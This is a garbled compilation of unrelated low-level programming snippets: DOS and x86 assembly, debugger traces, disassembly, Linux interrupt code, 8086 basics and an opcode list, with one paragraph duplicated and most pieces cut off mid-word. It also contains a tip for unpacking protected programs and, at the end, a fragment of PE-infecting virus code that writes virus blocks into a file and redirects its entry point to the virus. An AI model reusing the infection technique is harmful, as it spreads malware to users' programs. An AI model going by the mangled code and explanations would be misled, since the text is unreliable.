jmp boston

CLD; fill 0, clear the last input file name MoV CX, 128; the maximum file name is 128 characters, including carriage return characters MoV Al, 0 Lea Di, fname Rep stosb ;------------- Lea dx, fbuffer; input file name MoV ah, 0ah Int 21 h ;------------------ MoV BL, [fbuffer + 1]; Replace the last carriage return of the input file name with 0, because the created file name cannot contain invisible characters Xor bh, BH MoV Si, offset fname Add Si, BX MoV byte PTR [Si], 0 ;--------------------- L

= 000E9FD5C 72B03E16 |ThreadFunction = PERrGx5D.72B03E1600E9FD60 00394700 |pThreadParm = 0039470000E9FD64 00000000 |CreationFlags = 000E9FD68 00394758 \pThreadId = 00394758 72B05D86 FF15 0C71B072 call dword ptr ds: [72B0710C]; kernel32.CreateThread 00E9FD54 00000000 |pSecurity = NULL00E9FD58 00000000 |StackSize = 000E9FD5C 72B03E42 |ThreadFunction = PERrGx5D.72B03E4200E9FD60 00394700 |pThreadParm = 0039470000E9FD64 00000000 |CreationFlags = 000E9FD68 0039474C \pThreadId = 0039474C Handler of t

return address Ra at runtime. Then, use tx0 to record the position of the current symbol table and generate a JMP command to jump to the starting position of the main program. As we do not know where the main program is started, therefore, the JMP target is set to 0 for the time being and will be changed later. At the same time, the position of the JMP command i

intermediate code before and after it is irrelevant to this example)39: void winapi input (Int M, Int N)40 :{00401110 push EBP00401111 mov EBP, ESP00401113 sub ESP, 48 h00401116 push EBX00401117 push ESI00401118 push EDI00401119 Lea EDI, [ebp-48h]0040111c mov ECx, 12 h00401121 mov eax, 0 cccccccch00401126 rep STOs dword ptr [EDI]41: int S, I;42:43: While (1)00401128 mov eax, 10040112d test eax, eax0040112f je input + 0c1h (004011d1)44 :{45: printf ("" nplease input the first number M :");0040

, % eax12. mov % ax, % FS13. incl jiffies14. movb $0x20, % Al15. outb % Al, $0x2016. movl CS (% ESP), % eax17. Andl $3, % eax18. pushl % eax19. Call do_timer20. Andl $4, % ESP21. JMP ret_from_sys_call From 1 to 7 behavior-based stack operation, this is what we care about! 16-18 is to apply CPL (CPL = cs 3) to the stack for the do_tiemr (long CPL) function. So what about the stack when it is executed into do_timer? Let's see: | Return address |-------

8086cpu starts from memory m x 16 + N Units, reads and executes a command. 10. Modify the commands for CS and IP addresses. Most 8086cpu registers can be changed using mov commands. mov commands are calledTransfer command The mov command cannot modify the Cs or IP value because 8086cpu does not provide such a function. Commands that can change the content of CS and IP registers are calledTransfer Instruction. A simplest command that can modify the value of CS and IP registers:

1. Use the ESP Law After the OD is loaded, right-click the ESP content in the register window (for example, 0012ffa4) at F8 once, and choose "follow in the data window" to go to the memory data window, display the memory data window in the form of Hex data. Right-click the address starting position (for example, 0012ffa4) and choose "breakpoint"> "Hardware access"> "word ", f9 runs directly. If it is F8 again or twice, the code push EBP is usually used. The address of this Code is OEP. 2. Secon

instruction and corresponding machine code:NOP : The NOP instruction is the "null instruction". When executing to the NOP instruction, the CPU does nothing, just as an instruction to execute the past and continue executing a command behind NOP. (Machine code: 90)JNE : Conditional transfer directives, if not equal, jumps. (Machine code: 75)JE : The conditional transfer instruction, if equal, jumps. (Machine code: 74)JMP : Unconditional transfer instruc

instruction and corresponding machine code:NOP : The NOP instruction is the "null instruction". When executing to the NOP instruction, the CPU does nothing, just as an instruction to execute the past and continue executing a command behind NOP. (Machine code: 90)JNE : Conditional transfer directives, if not equal, jumps. (Machine code: 75)JE : The conditional transfer instruction, if equal, jumps. (Machine code: 74)JMP : Unconditional transfer instruc

table size Push edx; file pointer 　　 Add ebp, esi; after ebp points to the block table of the virus data area (the first block) Push ebp; buffer address 　　 ; Set the size of the first virus code block Lea eax, [ebp + edi-04h] Mov [eax], ebx 　　 ; Set the first virus block Push ebx; the size of the first part of the virus code 　　 Add edx, edi Push edx; file pointer Lea edi, (MyVirusStart-@ 9) [esi] Push edi; buffer address 　　 ; Modify the AddressOfEntryPoint entry to the virus entry Mov (NewAddre